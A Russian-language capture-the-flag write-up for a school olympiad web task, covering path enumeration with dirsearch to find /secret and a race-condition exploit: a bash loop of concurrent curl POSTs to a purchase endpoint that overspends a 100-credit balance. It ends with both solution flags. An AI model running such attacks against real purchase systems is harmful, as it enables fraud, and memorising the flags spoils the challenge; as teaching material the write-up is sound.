# Web 9 класс - 2

## Описание

### Флаг 1

Задание написано на Golang, реализовано несколько контейнеров: основной backend, несколько воркеров-обработчиков запросов на покупку лицензий, а так же контейнер с очередью RabbitMQ.

Для получения первого флага достаточно было перебрать пути веб-приложения и
найти путь с флагом.

```bash
dirsearch -u http://ip:port
```

![alt text](./images/image-1.png)

Заходим на /secret и видим флаг

![alt text](./images/image-2.png)

### Флаг 2

Регистрируем пользователя, видим панель покупки лицензий майнкрафта. В задании указано, что надо купить лицензию с плащем, но начальный баланс только 100.

![alt text](./images/image-3.png)

У нас есть два варианта покупки - через xml и через json. В задании указано, что используются воркеры, значит попробуем проэксплуатировать race condition.

![alt text](./images/image-4.png)

Отправим одновременные запросы на покупку на разные ручки, при отправке на `/api/purchase-xml` уязвимость срабатывает и можем купить лицензию с плащем (license-3).

```bash
for i in {1..10}; do
  curl -s -X POST http://IP:8080/api/purchase-xml \
    -H 'Content-Type: application/xml' \
    -H 'Cookie: session=5745e2f9-35fc-4151-a1c5-b1d9683aef5f' \
    -d '<purchase><license_id>license-3</license_id><amount>100</amount></purchase>' &
done
wait
```

Смотрим свои лицензии и видим флаг.

![alt text](./images/image-5.png)

## Флаги

vsosh{s0_3asy_p4th_1s_4lw4ys_b3tt3r}
vsosh{r4c3_c0nd1t10n_1s_st1ll_4_th1ng_1n_2026}
